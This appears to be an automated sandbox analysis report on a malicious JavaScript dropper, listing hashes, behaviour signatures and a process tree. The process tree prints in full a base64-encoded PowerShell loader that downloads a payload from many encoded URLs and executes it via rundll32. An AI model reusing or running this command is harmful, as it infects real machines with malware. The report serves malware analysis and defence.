Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230221-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230221-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/05/2023, 05:43

General

  • Target

    Dzyirepq.js

  • Size

    114KB

  • MD5

    5b68bfbc0201c1a9bd55942708f1f9e6

  • SHA1

    0601017731cfc1e9fe5b0424ae5e80e8253402cb

  • SHA256

    d72ce6fbf29c1b2983433d235a20e2893b0dddd16b47967c5e9e77b49fceca5b

  • SHA512

    0d7b7a97634c2dd57e05f215ebfbb1a7d0229e264b61eb91f1c6e6fe6bf6f0589a647c161eee4fc64bca570854f0918571f5fab0fd4623202f0fe6a25d133fe6

  • SSDEEP

    3072:gY55Yq3a9gZCyNEYRox4HRsY0osN51X8L8XmVInLd5tll6uJne:gY55Yq3aOZx7y/d5tlc8e

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Dzyirepq.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4304
    • C:\Windows\System32\wscript.exe
      "C:\Windows\System32\wscript.exe" "C:\ProgramData\Lenticellate.js" intersystematicalSleuthdog mordants HemitypicVindictivolence TricenaryQuoratean
      2⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:220
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "JABhAHIAeQBsAGEAbQBpAG4AbwBEAGkAcwBjAG8AbgB0AGkAbgB1AGEAbgBjAGUAcwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAUQBBAEcAOABBAGQAQQBCAG8AQQBHADgAQQBkAFEAQgB6AEEARwBVAEEATABnAEIAagBBAEcARQBBAGMAQQBCAHAAQQBIAFEAQQBZAFEAQgBzAEEAQQA9AD0ARABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAFUAQQBOAEEAQQB1AEEARABjAEEATQBnAEEAdQBBAEQASQBBAE0AQQBBADUAQQBDADQAQQBNAGcAQQB4AEEARABjAEEARABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBNAEEAQQB4AEEAQwA0AEEATQBnAEEAeABBAEQASQBBAEwAZwBBAHgAQQBEAGsAQQBPAEEAQQB1AEEARABFAEEATwBBAEEAeQBBAEEAPQA9ACIAOwBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA5ADsAJABIAGUAcABhAHQAbwBwAGgAeQBtAGEAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBFAE0AQQBhAEEAQgBoAEEARwAwAEEAWQBnAEIAeQBBAEcAVQBBAFQAZwBCAHYAQQBHADQAQQBZAHcAQgBwAEEASABJAEEAWQB3AEIAMQBBAEcAMABBAGMAdwBCAGoAQQBIAEkAQQBhAFEAQgB3AEEASABRAEEAYQBRAEIAMgBBAEcAVQBBAEwAZwBCADIAQQBHAGsAQQBjAEEAQQA9AEsAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgAwAEEARwA4AEEAYwBRAEIAMQBBAEcAVQBBAGQAQQBCAHoAQQBDADQAQQBiAGcAQgBwAEEARwA0AEEAYQBnAEIAaABBAEEAPQA9ACIAOwAkAHAAaABhAGwAYQBuAGcAaQBkACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABJAEEATQBBAEEAMABBAEMANABBAE0AUQBBAHoAQQBEAEUAQQBMAGcAQQAxAEEARABZAEEATABnAEEAeABBAEQASQBBAE4AZwBBAD0AZQBVAE4AVQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAFMAQQBHAFUAQQBjAHcAQgB0AEEARwA4AEEAYgB3AEIAMABBAEcAZwBBAGMAdwBCAEcAQQBHAEUAQQBhAEEAQgB5AEEARwBVAEEAYgBnAEIAbwBBAEcAVQBBAGEAUQBCADAAQQBDADQAQQBhAFEAQgB5AEEARwBrAEEAYwB3AEIAbwBBAEEAPQA9AGUAVQBOAFUAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBMAEEARwBVAEEAYwBnAEIAaABBAEgAUQBBAFoAUQBCAGoAQQBIAFEAQQBZAFEAQgBqAEEARwBrAEEAWQBRAEEAdQBBAEcATQBBAGMAZwBCAGwAQQBHAFEAQQBhAFEAQgAwAEEAQQA9AD0AZQBVAE4AVQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAFMAQQBHAFUAQQBkAGcAQgBsAEEARwA0AEEAZABBAEIAcABBAEcAdwBBAFkAUQBCADAAQQBHAGsAQQBiAGcAQgBuAEEAQwA0AEEAYwBnAEIAbABBAEgAQQBBAGIAdwBCAHkAQQBIAFEAQQAiADsAJABzAHkAcwB0AGUAbQBpAHoAZQBkACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABjAEEATgBnAEEAdQBBAEQARQBBAE0AZwBBADAAQQBDADQAQQBNAFEAQQA1AEEARABnAEEATABnAEEAeQBBAEQARQBBAE0AZwBBAHYAQQBIAE0AQQBNAEEAQgBCAEEAQwA4AEEATQBBAEIAdwBBAEUARQBBAGQAUQBCAHAAQQBIAG8AQQBRAGcAQgBOAEEARwBrAEEAVwBmAGoAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABBAEEATwBRAEEAdQBBAEQARQBBAE4AdwBBAHkAQQBDADQAQQBOAEEAQQAxAEEAQwA0AEEATgB3AEEANQBBAEMAOABBAFUAQQBCAHMAQQBFAHcAQQBOAEEAQgB0AEEARgBVAEEATAB3AEIAWABBAEcAUQBBAFYAQQBCAFMAQQBGAGMAQQBTAHcAQgBDAEEAQQA9AD0AVwBmAGoAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABjAEEATgBnAEEAdQBBAEQARQBBAE0AZwBBADAAQQBDADQAQQBNAFEAQQA1AEEARABnAEEATABnAEEAeQBBAEQARQBBAE0AdwBBAHYAQQBFAFkAQQBjAHcAQQA0AEEARgBBAEEAZQBRAEEAdgBBAEcAVQBBAFEAUQBCAHMAQQBHAEUAQQBOAHcAQgAzAEEAQQA9AD0AIgA7AGYAbwByAGUAYQBjAGgAIAAoACQASwBpAGMAawBlAHIAcwBOAG8AbgBkAGUAYwBlAHAAdABpAHYAZQBuAGUAcwBzACAAaQBuACAAJABzAHkAcwB0AGUAbQBpAHoAZQBkACAALQBzAHAAbABpAHQAIAAiAFcAZgBqACIAKQAgAHsAJABzAGUAbABiAG8AcgBuAGkAYQBuAFUAbgB1AG4AaQBxAHUAZQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE4AdwBBADEAQQBDADQAQQBNAFEAQQB3AEEARABjAEEATABnAEEAMQBBAEQAUQBBAEwAZwBBAHgAQQBEAEkAQQBPAFEAQQA9AFMARAB6AHgAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBWAEEARwA0AEEAYgBRAEIAcABBAEcANABBAFkAdwBCAGwAQQBHAFEAQQBMAGcAQgBqAEEARwA4AEEAYgBRAEEAPQBTAEQAegB4AGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQASQBBAE0AQQBBADEAQQBDADQAQQBNAFEAQQB6AEEARABBAEEATABnAEEAeABBAEQAYwBBAE4AUQBBAHUAQQBEAEkAQQBNAHcAQQAwAEEAQQA9AD0AUwBEAHoAeABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAFUAQQBiAGcAQgBqAEEARwA4AEEAYgBRAEIAdABBAEcAawBBAGUAQQBCAGwAQQBHAFEAQQBMAGcAQgBzAEEASABRAEEAWgBBAEIAaABBAEEAPQA9ACIAOwAkAGQAaQBzAGYAbwByAGUAcwB0AGEAdABpAG8AbgAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeQBBAEQARQBBAE8AQQBBAHUAQQBEAEkAQQBNAEEAQQB6AEEAQwA0AEEATQBRAEEANABBAEQAZwBBAEwAZwBBAHkAQQBEAFEAQQBOAEEAQQA9AGMATQBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAGsAQQBPAFEAQQB1AEEARABJAEEATQB3AEEAeQBBAEMANABBAE0AZwBBADAAQQBEAFEAQQBMAGcAQQB4AEEARABVAEEATgB3AEEAPQAiADsAdAByAHkAIAB7ACQAcABvAHMAdABzAHkAbQBwAGgAeQBzAGkAYQBsAFMAdABlAHIAaQBsAGkAegBlAHIAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBOAHcAQQAwAEEAQwA0AEEATQBRAEEAMwBBAEQAQQBBAEwAZwBBAHgAQQBEAGsAQQBOAHcAQQB1AEEARABVAEEATQBBAEEAPQBjAHkAUwBoAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAVQBBAEcAOABBAGQAUQBCAHkAQQBHAGsAQQBlAGcAQgBsAEEAQwA0AEEAYQB3AEIAaABBAEgAVQBBAFoAZwBCAGwAQQBHADQAQQAiADsAJABmAHIAbwBuAHQAbwBuAHMAVQBuAGEAbgBhAGwAbwBnAGkAegBlAGQAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADEAQQBEAGMAQQBMAGcAQQAzAEEARABrAEEATABnAEEAeABBAEQASQBBAE0AZwBBAHUAQQBEAEkAQQBNAHcAQQAxAEEAQQA9AD0AIgA7ACQAVQBuAGkAZgBvAGwAaQBhAHQAZQBNAG8AbABpAGYAeQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQAUQBBAE8AUQBBAHUAQQBEAEkAQQBNAHcAQQAyAEEAQwA0AEEATQBnAEEAeABBAEQAUQBBAEwAZwBBAHgAQQBEAE0AQQBOAEEAQQA9AGcAbABBAFgAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQAxAEEARABFAEEATABnAEEAeABBAEQAWQBBAE4AUQBBAHUAQQBEAEUAQQBNAGcAQQB5AEEAQwA0AEEATgBnAEEAdwBBAEEAPQA9ACIAOwAkAEQAaQBzAG0AYQBsAGkAdAB5AFIAZQBvAHIAZwBhAG4AaQB6AGEAdABpAG8AbgBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAEsAaQBjAGsAZQByAHMATgBvAG4AZABlAGMAZQBwAHQAaQB2AGUAbgBlAHMAcwApACkAOwB3AGcAZQB0ACAAJABEAGkAcwBtAGEAbABpAHQAeQBSAGUAbwByAGcAYQBuAGkAegBhAHQAaQBvAG4AcwAgAC0ATwAgACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABkAGkAcwB0AGEAcwB0AGUAZgB1AGwAbAB5AC4AYgBlAHIAaQBtAGUATABlAHAAYQBkAGkAZABhAGUAOwAkAGwAYQByAGsAbABpAG4AZwBMAGEAbgBkAGkAbgBnAHMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBIAE0AQQBaAFEAQgB0AEEARwBrAEEAWQBnAEIAaABBAEcAdwBBAGEAdwBCAGwAQQBHAFEAQQBMAGcAQgBqAEEARwBFAEEAYwB3AEIAaABBAEEAPQA9AHQAZwBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAEMAQQBIAEkAQQBhAFEAQgB6AEEASABNAEEAWgBRAEIAegBBAEYATQBBAGQAQQBCAGgAQQBIAE0AQQBhAFEAQgB6AEEARwBrAEEAWgBBAEIAcABBAEcARQBBAEwAZwBCADMAQQBHAFUAQQBaAEEAQgBrAEEARwBrAEEAYgBnAEIAbgBBAEEAPQA9AHQAZwBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAHYAQQBIAFkAQQBaAFEAQgB5AEEASABBAEEAYwBnAEIAaABBAEgAawBBAEwAZwBCADIAQQBHAGsAQQBiAGcAQQA9AHQAZwBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAFQAQQBHAE0AQQBhAFEAQgB5AEEARwA4AEEAYwBBAEIAbwBBAEcAOABBAGMAZwBCAHAAQQBHAEUAQQBMAGcAQgBzAEEARwA4AEEAYgBBAEEAPQAiADsAaQBmACAAKAAoAEcAZQB0AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABkAGkAcwB0AGEAcwB0AGUAZgB1AGwAbAB5AC4AYgBlAHIAaQBtAGUATABlAHAAYQBkAGkAZABhAGUAKQAuAEwAZQBuAGcAdABoACAALQBnAGUAIAAyADAANAA3ADQAOQApAHsAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AZQBuAGMAbwBkAGUAZABjAG8AbQBtAGEAbgBkACAAIgBjAHcAQgAwAEEARwBFAEEAYwBnAEIAMABBAEMAQQBBAGMAZwBCADEAQQBHADQAQQBaAEEAQgBzAEEARwB3AEEATQB3AEEAeQBBAEMAQQBBAEoAQQBCAGwAQQBHADQAQQBkAGcAQQA2AEEARgBBAEEAYwBnAEIAdgBBAEcAYwBBAGMAZwBCAGgAQQBHADAAQQBSAEEAQgBoAEEASABRAEEAWQBRAEIAYwBBAEcAUQBBAGEAUQBCAHoAQQBIAFEAQQBZAFEAQgB6AEEASABRAEEAWgBRAEIAbQBBAEgAVQBBAGIAQQBCAHMAQQBIAGsAQQBMAGcAQgBpAEEARwBVAEEAYwBnAEIAcABBAEcAMABBAFoAUQBCAE0AQQBHAFUAQQBjAEEAQgBoAEEARwBRAEEAYQBRAEIAawBBAEcARQBBAFoAUQBBAHMAQQBIAFkAQQBhAFEAQgB3AEEASABNAEEATwB3AEIAegBBAEcAdwBBAFkAUQBCAGoAQQBHAHMAQQBMAGcAQgBqAEEARwA4AEEAYgBRAEEAPQAiADsAJABvAGYAdABlAG4AZQBzAHQAVQBwAGUAcgBpAHoAZQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEYAUQBBAGEAQQBCAGwAQQBIAEkAQQBhAFEAQgB2AEEARwB3AEEAWQBRAEIAMABBAEcAVQBBAGMAZwBBAHUAQQBHAEUAQQBaAHcAQQA9AEYAcQBoAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAUQBBAEgAVQBBAGMAZwBCAHcAQQBIAFUAQQBjAGcAQgBwAEEARwBZAEEAYgB3AEIAeQBBAEcAMABBAFUAZwBCAHAAQQBHADQAQQBaAHcAQgBzAEEARwBVAEEAWQBRAEIAawBBAEcAVQBBAGMAZwBCAHoAQQBDADQAQQBkAGcAQgBwAEEARwBFAEEAYQBnAEIAbABBAEgATQBBAEYAcQBoAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAcQBBAEcARQBBAGMAZwBCAG4AQQBHADgAQQBiAGcAQQB1AEEASABRAEEAWgBRAEIAagBBAEcAZwBBACIAOwAkAHQAbwB3AHMAbwBuAEMAbwBuAHQAZQBuAHQAbAB5ACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBUAEEARwBnAEEAZABRAEIAcwBBAEgAYwBBAFkAUQBCAHkAQQBFAEkAQQBiAHcAQgAwAEEASABRAEEAYQBRAEIAagBBAEcAVQBBAGIAQQBCAHMAQQBHAGsAQQBMAGcAQgAzAEEASABRAEEAWgBnAEEAPQBGAFEAVwBFAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQASQBBAE0AdwBBAHcAQQBDADQAQQBNAFEAQQA1AEEARABBAEEATABnAEEAMwBBAEQAUQBBAEwAZwBBAHgAQQBEAE0AQQBNAHcAQQA9AEYAUQBXAEUAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARQBrAEEAYgBnAEIAbQBBAEgASQBBAFkAUQBCAHUAQQBHAGMAQQBhAFEAQgBpAEEARwB3AEEAWgBRAEEAdQBBAEcAMABBAFoAUQBCAGsAQQBHAGsAQQBZAFEAQQA9ACIAOwBiAHIAZQBhAGsAOwB9AH0AIABjAGEAdABjAGgAIAB7ACQAcwBjAG8AcgBwAGkAZABhAGUAUwBhAGwAdgBhAGcAZQBkACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABNAEEATgBRAEEAdQBBAEQASQBBAE0AdwBBAHgAQQBDADQAQQBNAFEAQQAzAEEARABRAEEATABnAEEAMQBBAEQAQQBBAD0AQQBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHAE0AQQBhAEEAQgBwAEEASABJAEEAYgB3AEIAdABBAEcARQBBAGIAZwBCAGoAQQBHAGsAQQBjAHcAQgAwAEEAQwA0AEEAYwB3AEIAbABBAEEAPQA9ACIAOwAkAGcAYQBuAG8AYwBlAHAAaABhAGwAYQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAdwBBAEcAVQBBAGIAQQBCAHMAQQBHAEUAQQBaAHcAQgB5AEEARwBFAEEATABnAEIAMABBAEgASQBBAFkAUQBCAHAAQQBHADQAQQBhAFEAQgB1AEEARwBjAEEAIgA7ACQATABhAHQAZQByAG8AdABvAHIAcwBpAG8AbgBTAHUAYgBtAGkAcwBzAGkAYgBsAGUAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHkAQQBEAEEAQQBPAFEAQQB1AEEARABFAEEATgBRAEEANABBAEMANABBAE8AQQBBADUAQQBDADQAQQBNAFEAQQB3AEEARABjAEEATgB1AGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAbgBBAEgAVQBBAGEAUQBCAHMAQQBHAFUAQQBjAHcAQgBKAEEASABNAEEAWQBRAEIAdQBBAEcAOABBAGIAUQBCAGgAQQBHAHcAQQBMAGcAQgBpAEEARwBFAEEATgB1AGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIARQBBAEcAVQBBAGMAZwBCAHQAQQBHAEUAQQBkAEEAQgB2AEEASABBAEEAZABBAEIAbABBAEgASQBBAFkAUQBBAHUAQQBHAEkAQQBkAFEAQgB6AEEARwBrAEEAYgBnAEIAbABBAEgATQBBAGMAdwBBAD0ATgB1AGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQAVQBBAE4AQQBBAHUAQQBEAEUAQQBNAHcAQQB6AEEAQwA0AEEATQBnAEEAeQBBAEQAYwBBAEwAZwBBAHgAQQBEAEkAQQBPAEEAQQA9ACIAOwB9AH0AJABOAG8AbgBnAGUAbgB1AGkAbgBlAGwAeQBMAGEAbQBiAGsAaQBuACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABJAEEATQBnAEEAegBBAEMANABBAE0AUQBBADMAQQBEAEEAQQBMAGcAQQAzAEEARABrAEEATABnAEEAMgBBAEQAQQBBAGcAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABFAEEATwBRAEEAdQBBAEQARQBBAE0AUQBBAHcAQQBDADQAQQBNAFEAQQAxAEEARABZAEEATABnAEEAeQBBAEQATQBBAE4AZwBBAD0AZwBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHAEUAQQBjAEEAQgB3AEEARwB3AEEAYQBRAEIAaABBAEcASQBBAGIAQQBCADUAQQBFADQAQQBiAHcAQgB1AEEARwBRAEEAWgBRAEIAdwBBAEcAOABBAGMAZwBCADAAQQBHAEUAQQBkAEEAQgBwAEEARwA4AEEAYgBnAEEAdQBBAEcARQBBAGEAUQBCAHkAQQBHAFkAQQBiAHcAQgB5AEEARwBNAEEAWgBRAEEAPQAiADsA"
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1828

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\ProgramData\Lenticellate.js

    Filesize

    114KB

    MD5

    5b68bfbc0201c1a9bd55942708f1f9e6

    SHA1

    0601017731cfc1e9fe5b0424ae5e80e8253402cb

    SHA256

    d72ce6fbf29c1b2983433d235a20e2893b0dddd16b47967c5e9e77b49fceca5b

    SHA512

    0d7b7a97634c2dd57e05f215ebfbb1a7d0229e264b61eb91f1c6e6fe6bf6f0589a647c161eee4fc64bca570854f0918571f5fab0fd4623202f0fe6a25d133fe6

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zxsorpf0.wwx.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/1828-144-0x000001FE5BE20000-0x000001FE5BE42000-memory.dmp

    Filesize

    136KB

  • memory/1828-145-0x000001FE5BD10000-0x000001FE5BD20000-memory.dmp

    Filesize

    64KB

  • memory/1828-146-0x000001FE5BD10000-0x000001FE5BD20000-memory.dmp

    Filesize

    64KB

  • memory/1828-147-0x000001FE5BD10000-0x000001FE5BD20000-memory.dmp

    Filesize

    64KB